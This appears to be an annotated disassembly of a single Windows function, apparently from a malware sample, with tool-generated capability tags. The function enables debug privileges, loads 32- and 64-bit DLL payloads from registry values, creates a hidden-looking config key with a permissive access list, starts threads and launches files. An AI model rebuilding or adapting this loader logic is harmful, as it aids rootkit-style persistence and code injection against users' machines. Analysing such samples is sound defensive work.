Function at 0x140002d4c
Capabilities:
Acquire debug privileges
Create process on windows
Create thread
Query or enumerate registry value
Set registry value

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r15
mov rbp, rsp
sub rsp, 0x68
lea rcx, [0x140004580]
call fcn.140002a0c
lea rcx, str.kernel32.dll
call fcn.140002a0c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x410
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor esi, esi
mov rdi, rax
test rax, rax
je 0x140002e06
lea r8, [rbp + 0x48]
mov rcx, rax
lea edx, [rsi + 0x28]
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140002dfd
lea r8, [rbp + 0x38]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x140002dfd
mov rax, qword [rbp + 0x38]
lea r9d, [rsi + 0x10]
mov rcx, qword [rbp + 0x48]
lea r8, [rbp - 0x18]
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rbp - 0x14], rax
mov dword [rbp - 0x18], 1
mov dword [rbp - 0xc], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
test eax, eax
je 0x140002dfd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp + 0x40]
mov rbx, 0xffffffff80000002
mov rcx, rbx
mov qword [rsp + 0x20], rax
mov r9d, 1
lea rdx, str.SOFTWARE
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140003180
mov rcx, qword [rbp + 0x40]
lea r12, [section..data]
mov qword [rsp + 0x28], r12
lea rdx, str._1773dll32
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003180
mov rcx, qword [rbp + 0x40]
lea r15, [0x140006010]
mov qword [rsp + 0x28], r15
lea rdx, str._1773dll64
xor r9d, r9d
mov qword [rsp + 0x20], rsi
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003180
mov edi, dword [section..data]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, dword [0x140006010]
mov qword [0x140006008], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8d, edi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rcx, qword [rbp + 0x40]
lea rdx, str._1773dll32
mov qword [0x140006018], rax
xor r9d, r9d
mov rax, qword [0x140006008]
xor r8d, r8d
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003180
mov rax, qword [0x140006018]
lea rdx, str._1773dll64
mov rcx, qword [rbp + 0x40]
xor r9d, r9d
mov qword [rsp + 0x28], r15
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140003180
mov rcx, qword [rbp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ecx, eax
call fcn.14000200c
mov qword [rsp + 0x40], rsi
lea rax, [rbp + 0x50]
mov qword [rsp + 0x38], rax
lea rdx, str.SOFTWARE_1773config
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], 0xf013f
xor r8d, r8d
mov rcx, rbx
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x14000304a
lea r9, [rbp + 0x38]
mov qword [rbp + 0x48], rsi
lea r8, [rbp + 0x48]
mov dword [rbp + 0x38], esi
lea edx, [rax + 1]
lea rcx, str.D:_A_OICI_GA___AU__A_OICI_GA___BA_
call qword [sym.imp.ADVAPI32.dll_ConvertStringSecurityDescriptorToSecurityDescriptorW]
mov edi, 4
test eax, eax
je 0x140002fcf
mov r8, qword [rbp + 0x48]
mov edx, edi
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegSetKeySecurity]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rcx, qword [rbp + 0x50]
lea rax, [rbp + 0x48]
mov qword [rsp + 0x40], rsi
lea rdx, [0x140004350]
mov qword [rsp + 0x38], rax
xor r9d, r9d
mov qword [rsp + 0x30], rsi
xor r8d, r8d
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], esi
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x140003040
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rcx, qword [rbp + 0x48]
lea rdx, str.svc64
mov dword [rbp + 0x38], eax
mov r9d, edi
lea rax, [rbp + 0x38]
mov dword [rsp + 0x28], edi
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rbp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov qword [rsp + 0x28], rsi
lea r9, [0x140003190]
lea r8, [0x1400036f4]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 0x10]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
lea rcx, [0x140003190]
mov qword [rsp + 0x28], rsi
mov r9, rax
mov dword [rsp + 0x20], esi
lea r8, [0x140003634]
xor edx, edx
mov qword [rax + 8], rcx
xor ecx, ecx
mov dword [rax], 0x64
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea r9, [0x1400031d0]
mov qword [rsp + 0x28], rsi
lea r8, [0x140002cb0]
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.14000151c
mov rbx, rax
mov edi, esi
mov rax, qword [rax]
cmp dword [rax], esi
jbe 0x140003112
mov r8, qword [rax + 0x10]
lea rdx, str.open
mov ecx, edi
xor r9d, r9d
mov dword [rsp + 0x28], 5
mov qword [rsp + 0x20], rsi
mov r8, qword [r8 + rcx*8]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rax, qword [rbx]
inc edi
cmp edi, dword [rax]
jb 0x1400030e0
mov rcx, rax
call fcn.14000148c
mov rcx, qword [rbx + 8]
call fcn.1400011d4
mov rcx, qword [rbx + 0x10]
call fcn.14000148c
mov rcx, qword [rbx + 0x18]
call fcn.14000148c
mov rcx, qword [rbx + 0x20]
call fcn.14000148c
mov rcx, qword [rbx + 0x28]
call fcn.1400011d4
mov rcx, qword [rbx + 0x30]
call fcn.1400011d4
mov rcx, qword [rbx + 0x38]
call fcn.1400011d4
xor eax, eax
mov rdi, rbx
lea ecx, [rax + 0x40]
rep stosb byte [rdi], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
add rsp, 0x68
pop r15
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret